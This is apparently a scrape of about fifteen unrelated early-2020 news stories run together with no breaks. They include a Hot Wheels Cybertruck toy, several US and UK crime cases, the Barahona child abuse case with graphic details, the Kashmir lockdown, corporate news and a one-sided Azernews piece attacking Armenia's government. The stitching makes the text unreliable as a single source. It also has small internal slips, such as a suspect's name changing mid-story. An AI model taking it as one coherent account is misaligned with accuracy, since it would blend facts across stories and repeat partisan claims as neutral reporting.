Twitter account, the 1:10 scale RC Cybertruck has sold out. The smaller example is still available. You can join a wait list to find out when the 1:10 scale moel will be available for order again by following this link. The text has been updated to reflect this information.) At last, the Tesla Cybertruck has realized the form it was always destined to take. Three months after the debut of the polarizing electric pickup, Mattel's Hot Wheels announced two different Cybertruck toys this week, both of which can be remotely controlled through radio frequencies. One can fit on that famous orange track, the other might do better on sidewalks or a backyard off-road course. In the same week it debuted an all-new set of Fast & Furious-inspired toys, Hot Wheels took to social media to debut two new Tesla toys. This comes at no surprise, as Hot Wheels already offers the Model S, Model 3, Model X, Model Y, and Roadster as traditional Hot Wheels. There's even a Model S out there that looks similar to the Plaid model. The Cybertrucks are more advanced, however, with built-in remote-control capabilities. The Cybertruck comes in two sizes: a limited-edition 1:10 scale or a less-expensive 1:64 scale. The 1:10 model, which has a pistol-style remote control, is extremely detailed, down to a hilarious reusable shattered-glass sticker that mocks the fail at the launch event. It also has functioning headlights and taillights, a tonneau cover, and a telescopic tailgate that fold out as a loading ramp. Hot Wheels went so far as to give it all-wheel drive as well, and it has Chill or Sport driving modes that can get up to 25-plus mph. Those interested in the vehicles inner-workings will be pleased to know the plastic body can be removed to see the interior, the battery, and the drivetrain. The large truck has a 9.9-v, 3300-mAh rechargeable battery, and the run-to-charge time is 1:1. Story continues The small RC car is less technical but still has some fun features and a gaming-style remote control. The three-inch machine has two-wheel drive but has Chill or Sport driving modes like its big bro. Tapping into its playful nature, Hot Wheels says the 1:64 car can get up to 500 mph scale speed (250 mph for the 1:10), but no zero-to-60 mph times were released. More disappointing, Hot Wheels did not release any Nurburgring lap times. As is typical of any Tesla, the time between order and actually taking delivery of the purchased product is extremely long. Although both toys are available to pre-order now, Mattel says not to expect deliveries until mid-December 2020. For some, this might be the earliest they've ever started their holiday shopping. The RC vehicle was available for pre-order 1:10 model for $400, but has already sold out. You can sign up to receive notifications when it becomes available again. The 1:64 model for $20 is still available for ordering. Yaniyah Foster was shot on Wednesday outside her home and later died at the hospital. . Read more A 25-year-old man and a 16-year-old boy were charged Friday in the death of Yaniyah Foster, 19, who was fatally shot Wednesday as she sat on the front steps of her North Philadelphia home. Charles Davis, 25, and Joel Saint-Fort, 16, were charged Friday with murder and related crimes for allegedly firing at a group of people outside Fosters house on the 1000 block of West Thompson Street. Foster, a 2019 graduate of Ben Franklin High School who worked at the Center City restaurant Kanella Grill, was struck in the head during the shootout, police said. A 23-year-old man was shot in a foot. Two others were shot and injured during the incident, one of them a 25-year-old bystander struck in the head as he sat in his car. Police have not disclosed a motive. Fosters killing came amid a deadly start to the year in Philadelphia. As of Thursday, police statistics show, 52 people have been slain since Jan. 1, the highest year-to-date total since 2011. The shooting incident on Thompson began around 3:37 p.m. Wednesday. Davis and Saint-Fort allegedly opened fire after walking south on 11th Street and seeing a group of people gathered outside Fosters house. Someone in Fosters group then chased after the gunmen and returned fire, police said. Davis was shot in an arm, and the 25-year-old man was shot in the head. He was taken to Temple University Hospital in critical condition but was expected to survive. After the shootout, Davis and Saint-John drove to the same hospital as the other three victims to seek treatment for Davis. Investigators found two guns in the car the men drove, and they were the same caliber as the bullets found at the scene, according to Smith. Fosters mother was devastated by the shooting, describing her daughter as loving, caring, and one of four siblings. It was not clear Friday whether Davis or Saint-Fort had attorneys. They remained in custody without bail. Share this article Whatsapp Facebook Twitter Linkedin Budi Sutrisno and Marchio Irfan Gorbiano (The Jakarta Post) Jakarta Fri, February 21, 2020 07:21 691 7f440ff09e92db75a02bbad2065b65b6 1 National Muhadjir-Effendy,marriage,poverty,poor-residents,fatwa,low-income-people Free Amid questions surrounding his suggestion that the countrys rich people should marry the poor to break the chain of poverty, Coordinating Human Development and Culture Minister Muhadjir Effendy stood up for his idea, saying such a practice could be a moral movement. He said that his decision to propose that Religious Affairs Minister Fachrul Razi issue a fatwa on cross-class marriage was derived from his concern about a common belief that it was impossible for the rich to marry the poor or vice versa. A fatwa means advice or a moral movement [to suggest to people] not to be rigid in believing that marriages [between people] of different economic classes in society is something imprudent. Thats it, Muhadjir told journalists on Thursday. Read also: Minister suggests the rich should marry the poor to reduce Indonesias poverty rate He went on to say that there was a paradigm in society that low-income people married those from their class and rich people must be picky when looking for partners, meaning that their spouses were usually fellow rich people. What I observe is that society is influenced by the belief that a person should seek somebody who is equal to them. [...] However, those who are poor then make poor families. And thats why we need a moral movement to eliminate such perspectives, he said. Muhadjir said he proposed that Fachrul issue a fatwa because he believed marriage matters were within the remit of the Religious Affairs Ministry. As a fatwa is only advisory, Muhadjir claimed, the rule would not be binding or mandatory among the members of society. In Indonesia, however, a fatwa is usually issued by Muslim organizations, such as the Indonesian Ulema Council (MUI). Citing government data, the minister said the number of poor households in the country was roughly 5 million, around 9.4 percent of the total 57.1 million households recorded. Read also: Indonesian children who grow up in poverty earn less as adults, study shows In addition to the fatwa, Muhadjir said he also proposed a premarital certification program, under which couples who sought to get married but were not yet economically stable must receive three months training beforehand. What I need to emphasize is that there will be no such thing as passing or not passing the [premarital certification] program because there will be no exams, only continuous courses that can be done online, he said. Muhadjir added that the premarital program was an affirmation program at the earliest point of forming a family, that is, before a couple, especially those who are not ready economically, become a bride and groom. He estimated that out of a total of 2.5 million marriages per year in the country, about 10 percent, 250,000 marriages, potentially made poor households. Therefore, he said, there should be education for prospective new families especially on important issues such as reproductive health and maternity. A family must be well-planned indeed and the state must be present to find ways to help plan new families, he added. One of the killers of 10-year-old Damilola Taylor has been jailed for four years after driving into a female police officer. Ricky Preddie was 13 and his brother Danny 12 when they killed the schoolboy in November 2000 in a crime that shocked the nation. The pair were jailed for eight years for Damilola's manslaughter in 2006. Ricky Preddie was initially released from prison early in September 2011 but was recalled into custody three times over the years for preaching his parole and handling stolen goods. Ricky Preddie (pictured) has been jailed for four years after driving into a female police officer Ricky Preddie, 32, also known as Ricky Johnson, is back behind bars after pleading guilty to causing serious injury by dangerous driving, driving whilst disqualified, failing to stop, and driving without insurance at Harrow Crown Court on Thursday. The injured police officer has since made a full recovery. Scotland Yard said he was sentenced to four years imprisonment and banned from driving for 12 years, which will start when he is released from jail. He was driving an Alfa Romeo in Wembley, north London, when police tried to stop his car on the afternoon of November 6 last year. Preddie stopped the car but reversed along the pavement before crashing into a police vehicle, causing leg and neck injuries to a PC who was getting out. Damilola Taylor (pictured) was killed with a broken bottle after he was stabbed in the leg CCTV surveillance camera footage released by police investigating the murder of Damilola Taylor (running, right), shown on his final journey He made his escape but the car was found nearby shortly after and he was arrested on November 12. Detective Superintendent Ray Keating said: 'In escaping from officers who had pulled him over, Johnson's driving was extremely reckless and resulted in an officer being seriously injured. 'He then drove off from the scene, callously leaving the officer needing urgent medical attention. 'The officer has since returned to full duties, and I would like to commend her courage and strength since the incident. Ricky Preddie (pictured) is one of the brothers who murdered Damilola Taylor in November 200 'While she has recovered physically, the incident has taken an emotional and psychological toll. 'Sadly, officers are injured whilst protecting the public far too often.' Damilola had moved to Britain from Nigeria a few months before he was jabbed in the thigh with a broken beer bottle by a gang of youths as he walked home from the local library after school. The youngster was found bleeding to death in a stairwell near his home in Peckham, south London, where local workmen tried to save his life. It took six years and three trials to identify and convict the killers. Danny and Ricky Preddie, members of the Young Peckham Boys gang, were found guilty of manslaughter and sentenced to eight years at the trial at the Old Bailey in August 2006. Danny was released from prison early in September 2011 after serving five years of his sentence. Ricky Preddie was first released in September 2010, but recalled to custody in March 2011 after returning to Peckham from his west London bail hostel in breach of his licence conditions. Killer: Ricky Preddie mocks his 10-year-old victim Damilola Taylor by holding up a sign apparently demanding 'real justice' for the boy following a court appearance in 2013. He spelled his victim's name wrong Then in October 2011 he beat up another prisoner, but a Parole Board hearing on December 23 decided he should be released on January 25, 2012. He lasted just 16 days before being taken back to prison for again violating his parole by going to areas he was banned from and visiting friends from his old gang. He was let out in July 2012, which means he has lasted just five months on early release before being hauled before the authorities again for handling stolen goods. He was released after serving out every day of his eight-year sentence in 2013. Although the eight-year jail term was handed down in 2006, he had already served time behind bars on remand. Following a 2013 court appearance, Ricky Preddie arrogantly held up a sign outside court reading 'Real Justice for Damiola Taylor' misspelling the schoolboy's name. The stunt followed an appearance before West London magistrates where he denied a string of driving offences. Damilola's father Richard, 65, said the placard was 'distressing'. University students in the city said they have been through anxious moments when they have been unable to speak to their dear ones for days together. Hyderabad: Two hundred days of the lockdown in Kashmir have been most difficult and those who are away from home are hurt that it is now a new normal that is different from the rest of India. Tourism season looks like it may be a no-show: the summer months which see a heavy in-flow of Indian tourists may not be so in 2020. There are no bookings so far for March, which will be a major financial hit. University students in the city said they have been through anxious moments when they have been unable to speak to their dear ones for days together. There is still no internet in Kashmir which shows that nothing is normal there, Hadif Nisar of the University of Hyderabad said. Worst hit are students as their forms of examination, and other procedures cannot be taken up. Students in Kashmir are in agony and most cannot move out of the state. Similarly, many of us have stopped asking for money from home as there is little income. It is a tough situation, Nisar said. Women students in city are helping each other out. They do not indulge in any activity or outing where they have to spend money. Some are also sharing the mobile recharge. We have pooled resources for Kashmiri students in August and helped them out for the semester expenses, Professor Abdul Kalam, MANNU proctor said. They are strong people who do not ask. Some students who had been to Kashmir recently said people were keeping themselves confined in their vicinity and movements restricted. Those who travel outside the state and sell wares like clothes, handicrafts and arts, are able to take money back. NGOs in Hyderabad have sent medicines, books, education kits, necessities and also facilitated them in the sale of handicrafts. The NGOs have found that Kashmiris are not willing to talk about their situation until and unless asked. This withdrawal makes it difficult to connect with them regularly. Ai'Yana Mu'Min, of West Philly, shops inside the new Golden Farms supermarket along with her students, clockwise, Jaylon, Ja'Santee, Sahara, and Myla on Friday, Feb. 21, 2020. The supermarket opened at the West Philly ShopRite that Jeff Brown closed last year, blaming the soda tax. Read more Mark Brown of West Philadelphia has spent the last year traveling 2 miles from his home on North 67th Street to get groceries. It was his closest supermarket option, after the ShopRite at 67th and Haverford Avenue closed in March, as its owner blamed Philadelphias tax on sweetened beverages for hurting business. Now, his long commute for shopping may be over. Golden Farms, a new grocery store, opened Friday in the old ShopRite location. Well give it a shot, Brown said. Well see what Golden Farms is. Residents had a chance to check out the new store Friday. The parking lot was jammed, and there were customers wandering the fully stocked aisles and waiting in line at cash registers by 10 a.m. Were trying to be just a regular traditional supermarket fruits and vegetables, good meat, good service, said Pedro Goico, a co-owner of the new store. Goico owns four stores in New York City and said the Philadelphia location was an opportunity to expand. But he said he has started to worry that the citys 1.5-cents-per-ounce sweetened beverage tax could hurt his business. Hopefully everything goes well, but we dont have any motivation to open any more stores [in Philadelphia] while that is in play," he said. Mayor Jim Kenney said in a statement Friday he welcomes the new store. Despite complaints about the tax, he said, Golden Farms is the 10th supermarket to open in Philadelphia since it took effect in 2017, and five more are expected this year. The doomsday messages portrayed by some opponents of the tax just have not come to fruition, Kenney said. During the year that the Overbrook neighborhood went without a grocery, city officials classified it as having little access to healthy foods. In the zip code shared by the new Golden Farms, about 15% of families live at or below the poverty line, according to U.S. census data. Almost 20% of families citywide live in poverty, the highest rate among Americas largest cities, and food access goes hand-in-hand with the problem. READ MORE: Is Philly soda tax solely to blame for closing of West Philly ShopRite? Jeff Brown, president and CEO of Browns Superstores Inc., said last year that sales had fallen 23% at his store after the beverage tax took effect. After closing the Haverford Avenue store in March, Brown still owns seven ShopRite and Fresh Grocer stores in Philadelphia. Kenney administration officials accused Brown of using the tax as a scapegoat for his stores financial troubles. Brown has been a vocal critic of the beverage tax, which is Kenneys signature achievement used to fund pre-K, community schools, and improvements to parks, rec centers, and libraries. The same week the ShopRite closed, the propertys landlord announced that a new store would replace it. (The property owner said it would be a Key Food market; Golden Farms is affiliated with Key Food but operating under a different name.) But Goico, the Golden Farms owner, said that before he came to Philadelphia, he did not realize how close the store was to suburban competitors with lower sales taxes and no beverage levy. We did a lot of research but we werent so deeply aware of how close all the stores were, he said. We also hope for it to be repealed at some point. Goico said that the challenge of programming the stores point-of-sale computer system to add a charge to taxed beverages delayed the opening. Lauren Cox, a Kenney spokesperson, said that were unsure why that would be an issue because the tax is levied on beverage distribution. (Many retailers in the city do pass the tax on to customers.) READ MORE: Under Philly soda tax, beverage sales at chain stores in the city dropped 51 percent, study finds Residents said the absence of a grocery store had been an annoyance. We have these little variety stores, but they close early and a lot of times theyre not convenient if you really want to do some serious shopping, said Maurice Parker, 64, of North 65th Street. Angela Bailey said her impression of Golden Farms was so far, so good as she wandered the aisles. She said she has been driving to a Giant in Havertown, three miles away, but is happy to have a closer option. Juanita Jones, 66, said her first impression was that Golden Farms was a little dirty. The prices are extremely high, she added. Even so, Jones said she would shop there, and hopes the store stays. But some said theyd continue to leave the city to buy soda. Mark Brown, the 67th Street resident, said he wont buy sweetened beverages from Golden Farms. The citys beverage tax has driven him to Montgomery or Delaware Counties for drink purchases. In addition to soda, juices and other beverages with sweetener are taxed. Juice is not taxed if it is 100% juice with no added sweetener. Ive got two twin grandkids," Brown said, and they drink a lot of apple juice. A Miami mother will spend the rest of her life in prison after pleading guilty Friday for her role in the starvation, torture and murder of her adopted daughter in a case that rocked Floridas child welfare agency. Under the plea deal, Carmen Barahona, 69, will testify against her husband, Jorge Barahona, who faces the death penalty if convicted of abusing and murdering his 10-year-old adopted daughter, Nubia. The actual sentencing will be deferred until after Carmen Barahonas cooperation with prosecutors is complete. If she doesnt follow through and cooperate truthfully, Barahona could still face the possibility of the death penalty. The plea deal was finalized nine years after a Miami-Dade grand jury indicted Jorge and Carmen Barahona over the horrific death, and the years-long torture and abuse of Nubias twin brother inside the familys Westchester house. By allowing her to enter her guilty plea today and assist in the prosecution of her husband, we are one step closer to helping the surviving child victim in this case see justice prevail for him and his deceased twin sister, Nubia, Miami-Dade State Attorney Katherine Fernandez Rundle said in a statement Friday. Carmen Barahona pleaded guilty to first-degree murder and multiple counts of aggravated child abuse. Dressed in a red jail jumpsuit reserved for high-profile inmates, her silver hair pulled back in a ponytail, Barahona answered questions from the judge in a quiet voice. Afterward, Barahona tearfully embraced her defense lawyer, Kellie Peterson; the attorney later declined to comment. Jorge Barahona. If Barahona sticks to the story she told Miami-Dade homicide detectives, shell tell jurors that she watched her husband grow increasingly paranoid and violent with the twins, regularly binding them and leaving them in a bathtub, beating them mercilessly. She acknowledged never getting help for the children, despite their mounting injuries and awful living conditions. Why couldnt you call 911? a detective asked her, according to a copy of her 2011 sworn statement released Friday. Story continues Because he had been securing them and they had all the marks on their [bodies], Carmen Barahona said. A detective later pressed Barahona on why she didnt come forward to authorities in January 2011, after she came home to find Nubia missing for good and a section of old carpet mysteriously gone. What are the chances in 20 years that the carpets missing from that floor is the last day that you see her there? Detective Lisa Morales asked her. I understand that, Barahona said, insisting that she believed her husbands story that he had taken the girl to his sisters house for good. But I never, I never thought of it that way. Jorge Barahona, 52, has pleaded not guilty. His trial is scheduled to take place in April. Barahonas defense lawyer, David Peckins, declined to comment on Friday. The killings drew widespread headlines after police found Nubias chemical-soaked body in the back of Jorge Barahonas pickup truck along Interstate 95 in Palm Beach County on Feb. 14, 2011. A boy, Victor, splashed with chemicals and severely injured, was found inside the cab, and his adoptive father was passed out nearby. The public soon learned of the appalling existence of Victor and Nubia, a girl who had suffered from a host of medical issues. Nubia Barahona died after years of abuse by her adoptive parents, formerly her foster parents. Jorge Barahona had become convinced the twins were poisoning his meals, and were to blame for bullying two other adopted children living in the home. One day, Carmen Barahona told police, she came home from work to find the twins taped to bar stools. I cant let these kids hurt the other ones, Jorge Barahona allegedly told her. Soon, the children were being confined to a recycling bin, then the bathtub bound by their hands and feet. Victor later told a caretaker about months of terrible abuse. Among the acts he described: Jorge Barahona several times wrapped a plastic bag around his head, choking him until he nearly passed out. He said the man once glued his eyes shut, and once made him eat a cockroach. At mealtimes, Victor said, he and his twin could eat only bread and milk, maybe once a week in the bathtub, while the other children in the home dined on shredded beef, rice and beans. Any leftovers from the good food would go to the familys dog. During her police interrogation, Carmen Barahona minimized her role in the years of abuse, saying she was scared to cross her increasingly erratic husband because he often beat her too. Every day it seemed like he was getting more annoyed, Carmen Barahona said. He would get this glassy look in his eyes sometimes. Carmen Barahonas granddaughter, however, told police that the woman was also involved in the abuse. In a witness statement released in 2017, the girl described allegations of torture by both parents including one occasion when they wrapped a rope around Victors neck and both pulled on it until he was about to faint. The torture of the twins, and Nubias death, cast intense scrutiny on the Florida Department of Children and Families, which had received numerous abuse complaints against the Barahonas. Florida wound up paying Victor Barahona, Nubias twin brother, more than $5 million in settlement money. A grand jury report later concluded that DCF gave the Barahonas a pass every time allegations of abuse surfaced. For example, three times between 2006 and 2010, employees at Blue Lakes Elementary called the states child-abuse hot line with their concerns about Nubias health and behavior. The Barahonas, months before the murder, pulled the twins out of the school. But a blue-ribbon panel formed to investigate the death found that none of the complaints were provided to the psychologist who evaluated the Barahonas fitness to adopt the twins, who had been in their care as foster children before they were adopted. Nubia was one of 477 children who, over a seven-year period, died of abuse or neglect after their families had come to the attention of Floridas Department of Children and Families. The agencys lapses were chronicled in the Miami Herald series Innocents Lost. Russia is working to arrange an agreeable time to hold a conference to discuss Syria, with Iran and Turkey writes SANA. Russian Presidential Spokesman, Dmitry Peskov, said that preparations for holding a trilateral summit between Russia,Turkey, and Iran on Syria are underway, but no date has been set. Sputnik quoted Peskov as saying in a press conference on Thursday that, Indeed, negotiations on that score with the Iranian side have been held. Work on that summit is in progress. There is Russias consent for certain dates, adding that, However, the three presidential schedules are yet to be agreed on. This coordination is not over yet. As soon as and if that is done, we will inform everyone. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. KFC is preparing to launch 30 new high-tech restaurants throughout Australia as it adds a range of new items to its secret menu. The fast food giant will open the exciting new stores in every state except for Western Australia in locations including Canberra City, Kings Cross and Glen Waverley. The new stores will focus on implementing new technology in the restaurants, and follow on from the world's first two Drive Thru Only KFC stores, which opened in Newcastle, NSW in November and in Mt Gambier, South Australia in January. KFC is launching 30 new high-tech stores across Australia The new stores will follow on from the world's first two Drive Thru Only KFC stores, which opened in Newcastle in November and in Mt Gambier in January KFC South Pacific Chief Marketing Officer Kristi Woolrych told News Corp Australia that the brand were looking into unique store formats to meet increasing demand. 'We are actively focused on looking at tech in our equipment and looking at cook times and hold times so that the quality of our food can be delivered as quickly as possible without compromising taste,' Ms Woolrych said. Data from Roy Morgan Research Institute found that KFC is visited by 23 per cent of Australians over an average four week period. The business is going to focus on their digital and online platforms with their new high-tech stores to create a new experience for their customers. Savvy customers on the KFC app have already reaped the benefits, scoring exclusive items from KFC's secret menu including the Zinger Chipster, the Triple Stacker and the Kentucky Snack Pack. The secret menu is only available to customers using the KFC app, where brand-new items and old favourites appear for buyers. KFC's new Triple Stacker Burger, which is available to customers only using the KFC app 'Whats really exciting is the secret menu, its been a huge hit with app users this year and well continue to innovate there, and drop new products every month,' Ms Woolrych said. Exciting new storefronts and ordering tactics aside, KFC have not lost focus of what has made them the second most popular fast food restaurant in Australia. Ms Woolrych said the business will continue to sell fresh chicken, with heathier oils and reduced salt, as well as alternative snack options into the future. 'We are not re-branding our restaurant, but Kentucky Fried Chicken is what we make and sell and is part of our heritage and history with the Colonel that made it famous, we continue to use it as a signal of our great tasting chicken,' she said. Japanese automakers on Friday delayed the restart of plants in China near the epicentre of the coronavirus outbreak, in compliance with local directives, raising the risk of further supply disruptions that could affect global car production. Nissan said it would keep its plants in Xianyang, Hubei Province, and Zhengzhou, Henan Province, shuttered after February 24, when it had planned to resume operations. It did not give a new date for reopening. Honda said operations at its plants in Wuhan, where the outbreak began, would remain suspended until March 11. In an email, Nissan said the delay was due to the latest government directive by Hubei authorities, who asked firms to keep operations shut down through March 10. Output issues at its suppliers were also affecting vehicle production, it said. The coronavirus, which has killed more than 2,200 in mainland China, has wreaked havoc on the global automotive supply chain, stalling production at plants in China and leaving automakers scrambling to source the roughly 30,000 parts needed for each car. China's manufacturing sector is struggling to restart after an extended Lunar New Year break, hindered by travel and quarantine restrictions in many parts of the country. Suspended output at Nissan's two plants, which make the X-Trail SUV crossover and the Altima sedan in a joint venture with China's Dongfeng Motor, comes as the automaker is already struggling to recover profitability after the arrest of its former chairman, Carlos Ghosn, in 2018. Nissan has also reduced output at some of its plants in Japan over issues with procuring components. It said that there has been no impact on its other global plants. A licensed insurance producer from Emmett, Idaho, has been sentenced for misappropriation of fiduciary funds. Casandara H. Aune admitted to receiving cash for a clients premium payment but reportedly did not apply the payment to the clients account. Aune admitted to investigators at the Department of Insurance she had transferred client funds to a personal account for her own use. In July 2019, Aunes insurance producer license was revoked for violations to the Idaho Insurance code and an administrative penalty of $6,000 was imposed. Fourth District Court Judge James Cawthon last week withheld judgement and placed Aune on supervised probation for three years. Cawthon ordered her to pay restitution and court costs, which will be determined on March 11. Topics Agencies A mortgage company staffer who created hundreds of fraudulent wire transfers to steal roughly $2 million from the firm has been sentenced to nearly four years in federal prison. Dilcia Mercedes of Camden, N.J., will also have to serve three years of supervised release after shes freed under the sentence imposed Tuesday and must pay $2,087,697 in restitution, according to federal prosecutors. She had pleaded guilty to fraud and money laundering charges. Mercedes was a payment processor at the mortgage company and used her access to track escrow payments that were returned to the firm as undeliverable, prosecutors said. When those payments remained inactive, Mercedes created fraudulent bank accounts and wire transfer requests to send the money to accounts she controlled. While operating the scam from April 2014 to May 2017, prosecutors said Mercedes enlisted the help of relatives and friends in creating the bank accounts. She also used a co-workers login credentials to approve the fraudulent transfers. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Fraud New Jersey A JUDGE has ordered a Limerick pensioner to stop sending postcards and letters to a school after she was acquitted of harassing a teacher following a desperate bid to get back 20,000 she claimed she was owed for years. Bride Ni Bheaglaoich, 68, who has an address in Dingle, County Kerry, appeared before Judge Marian OLeary on January 16, accused of sending ominous Facebook messages to Emma Hurley and postcards to her school. Ms Ni Bheaglaoich, a former teacher from Ballylanders, was also accused of sending a letter to Ms Hurleys father, and emails to her mother, Marian Hurley, who at the time was a sitting Fine Gael councillor. Emma Hurley is the wife of Ian Daniels, who owned architectural service, Absolute House Plans, with whom the defendant built a professional relationship following a trade event in 2010. Ms Hurley was a director of the company, which dissolved in 2013, Limerick District Court was told during a lengthy five-hour hearing last month. Their relationship turned sour after planning applications for properties in Tipperary and Kerry were unsuccessful. A total of 64 emails went sent by the defendant to Mr Daniels to discuss various projects, the court was previously told. The alleged harassment took place between the first Facebook message to Ms Hurley on July 15, 2014 and the letter to her father, Brian Hurley, on September 28, 2017. Read also: Love hurts for Limerick man after woman he fell for brought trouble to his door Solicitor Sarah Ryan had previously told the court that Mr Daniels told lies about carrying out work, and her clients were owed 22,400. The court heard that the defendant, who suffered with cancer, needed the money for life-saving treatment. Ms Hurley had told the court that the couple had paid the company 7,300 and that they were paid back. Ms Hurley previously told the court that she asked Ms Ni Bheaglaoich to please stop messaging me and told her I feel you are harassing me. On three dates in April 2015, Ms Hurley received postcards at her primary school from the defendant, one of which had a weird, kind of, sad face and that they should pay 22,400. On September 28, 2017, Ms Hurleys father received a letter via registered post, which was the catalyst for the criminal complaint. When questioned about it in cross-examination, she told the court she was just looking for my money back. Ms Ryan said that her client was in a desperate situation. In finalising the matter last week, Judge Marian OLeary said that Ms Ni Bheaglaoich had made a complaint but this complaint fell on deaf ears. Judge OLeary said Ms Hurley wanted to distance herself from the business, which she said was neither fair nor lawful as a director. She should have resigned if Ms Hurley didnt want anything to do with the company. Judge OLeary said that the defendants approach was reasonable, save for the postcards but the latter did not reach the threshold within the act for harassment. Dismissing the case, the judge ordered that there be no more correspondence from the defendant and her husband Graham Woodcock to Ms Hurleys place of work. A Mexican man is filing a lawsuit against an unnamed United States Immigration and Customs Enforcement (ICE) officer from New York. According to an article from The Guardian, the lawsuit will be filed after the Mexican man was gunned in the face by the ICE officer on Thursday. Also, the man sustained several other injuries, including a bullet stuck on his neck. Cruz, who is 26 years old was on vacation in New York with his girlfriend. He was on a tourist visa in the United States. On January 25, Cruz arrived in New York. He was intending to stay in the United States for two weeks. Contents of the Lawsuit Filed On Wednesday, the man filed a 10-page case with the United States District Court in the Eastern District of New York. According to the complaint, there was a minimum of three ICE agents who were arguing with Avendano-Hernandez. It was said that they exchanged words in the center of the street when he was tased and handcuffed by the officers. The US Immigration and Customs Enforcement officer who fired the gun at Cruz was unnamed in the lawsuit filed. Cruz was not able to identify the man so he named his attacker as 'John Doe 1.' The victim, Erick Diaz Cruz, told the story of the incident. He said that he was sleeping in his mother's home in Gravesend, Brooklyn on February 6. He then awakened after hearing a shout and a bang on the front door. After going outside, Cruz said that he noticed his mother's partner getting into an argument with agents from ICE. Cruz included in his statement that he was standing a few steps away from the ICE officials. Suddenly, one of the US Immigration and Customs Enforcement officers, a Latino man, had pulled a gun from his hip and aimed at his face. The Latino who shot Cruz was dressed in black and was estimated to be 5'9" in height. An article from Fox News stated that Cruz added to the statement that he had held up his left hand to block the attack. However, the bullet passed through his hand and injured a part of his left cheek. The bullet also passed through his ear. The incident caused him to acquire multiple injuries to his face and hands. Also, the bullet had remained stuck in his neck. According to the complainant, his face was filled with the "snaking set of wounds." A Statement from Cruz's Lawyer According to the lawyer who represented Cruz, it was hurtful and sickening to have someone like Erick being unjustifiably and senselessly attacked by an ICE officer. The lawyer described Cruz as a law-abiding and hard-working young man. The lawyer said that he was shot during the day while he was with his family. The sad thing about the incident was that he was shot by an agent of the government of the United States of America. The lawyer also said that during the act of the ICE officer, Cruz was not a threat to anyone. The lawyer also said that Cruz and his family were traumatized by the event. Kate Middleton has been very busy lately with her campaign to improve early childhood development. In fact, she has been visiting several places to promote the Five Questions Under Five that focuses on the health and wellness of children under five. However, it seems everything she does is not enough, so much so that an analyst is claiming that the Duchess of Cambrdige is only being forced to work. The Royal Transformation A royal expert claimed that there was a time in history when Kate was asked to step up her game. The palace had to ask the Duchess of Cambridge to do more because experts thought she was not doing enough. In an episode of the Heirpod podcast, the royal commentator Omid Scobie said that Kate needed to become more visible in the public as part of the royal family. She needed to increase her duties as well to make a good impression of the U.K.'s future queen. "I think there was a time when it felt like she was not doing enough," Scobie said. "And now we are at a point where she has realized the impact that she can have on people if she used her platform wisely." The Duchess of Cambridge has slowly become more confident as a member of the royal family now that she is doing more work. When she married Prince William in 2011, Kate knew that she was up for a lot of challenges. However, she was determined to make their marriage work as much as she is determined to become a true and working member of the royal family. Scobie added that the new work that Kate has been doing has put her in a more confident role. "The quiet role that she used to take is slowly picking up some steam," the royal commentator added. Her work with early childhood development may be considered a lifelong project for the future queen, as she plans to work on it for at least another decade. "Focusing on the impact of a parent's perspective on childhood experiences, a child's perspective, and career perspective, are all important to her," Scobie added. The comments of Scobie came after royal expert Camilla Tominey claimed that Kate has stepped up and "raised her game" as a royal. Away From the Shadows Camilla Tominey bravely spoke of how Kate Middleton stepped away from being her husband's shadow after Prince Harry and Meghan decided to take a step back from their roles as senior members of the royal family. A lot of work was left, and naturally (given that her husband is the future king), Kate was handed down extra responsibilities. Surprisingly though, the Cambridge mom is doing well balancing eveything on her plate. On This Morning show, Tominey said that "the pressure is really on the Duchess of Cambridge to make the royals move and work in the future." It is worth noting that Kate also recently spoke about her experience as a parent of three kids. She honestly revealed that she found it challenging to be a working mom. The Duchess of Cambridge shared that she often felt bad whenever she had to leave for a royal engagement and leave her kids behind. The mom of three made the confession in the podcast "Happy Mum, Happy Baby." She said that just like every other mom, leaving her children behind is often the "constant challenge." The City Crime Branch (CCB) of Bengaluru City Police on Thursday raided a spa centre that was running a sex racket under the garb of spa services. The spa centre is located at Hoodi village in Mahadevapura area of Bengaluru. So far, six women have been rescued and three people have been arrested. A case has been registered and an investigation into the matter is underway. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Abdul Kerimkhanov The Armenian authorities pose a serious threat to Europes security and have grossly violated the International law, US-based expert Peter M. Tase said in an interview with Azernews. "The Armenian government continues to undermine the regional security in the Caucasus and is a serious threat to European economic progress. OSCE must leave aside the double standards approach - that has been going on for decades - and work proactively towards ensuring full territorial sovereignty of Azerbaijan, Tase said. Tase noted that the Munich Security Conference 2020 debate between the President of Azerbaijan Ilham Aliyev and the Armenian PM was a great platform where Armenian government's crimes against Azerbaijani ethnic civilians were exposed. During the debate, Pashinyan came across as a weak politician, a corrupt head of state and as a warmongering head of government, Tase said "While speaking in Munich, Pashinyan's mercenaries were opening fire in the line of contact against border patrol posts of Azerbaijan. Is this the Prime Minister of Armenia who has been entrusted to accomplish a peaceful solution of the Armenia Azerbaijan Nagorno-Karabakh conflict? The answer is utterly, absolutely - a clear NO," he stressed. Touching upon the 28th anniversary of Khojaly massacre, a genocide organized by Armenian army and USSR troops, against civilian population of Azerbaijan, Tase called on NATO, OSCE, European Council, Int'l Community to urgently tackle the fundamental obstacle to European Security and Transatlantic Defense Cooperation, that is the ongoing Armed Conflict in Nagorno-Karabakh, orchestrated by Pashinyan and his predecessors. The expert considers that the current status quo around the conflict must change. "European countries and the U.S. must come up with a plan that encompasses the following: international political pressure on Yerevan; convincing Armenian politicians that the ongoing war with Azerbaijan is self-destructive to the Armenian economy and industry; revising the role of the OSCE Minsk Group, Tasse said. He also noted that the Europe and the world powers must not underestimate Azerbaijans military power. Comparing the performance of the President of Azerbaijan the Armenian PM, Tase noted that Aliyev Aliyev was far more convincing and persuasive than his Armenian counterpart. "In Munich, the President of Azerbaijan in his discourse possessed rare values of leadership, charisma, a visionary roadmap for a thriving Europe and embraced all pillars of statecraft," he listed. "Rampant Corruption and economic stagnation in Armenia make it impossible, really hard for Nikol Pashinyan to be a successful, attractive public speaker in front of international audiences," Tase concluded. Note that the panel discussions on the Armenia-Azerbaijan Nagorno-Karabakh conflict with the participation of President of Azerbaijan Ilham Aliyev and Prime Minister of Armenia Nikol Pashinyan have been held as part of the Munich Security Conference on February 15. --- Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94 Follow us on 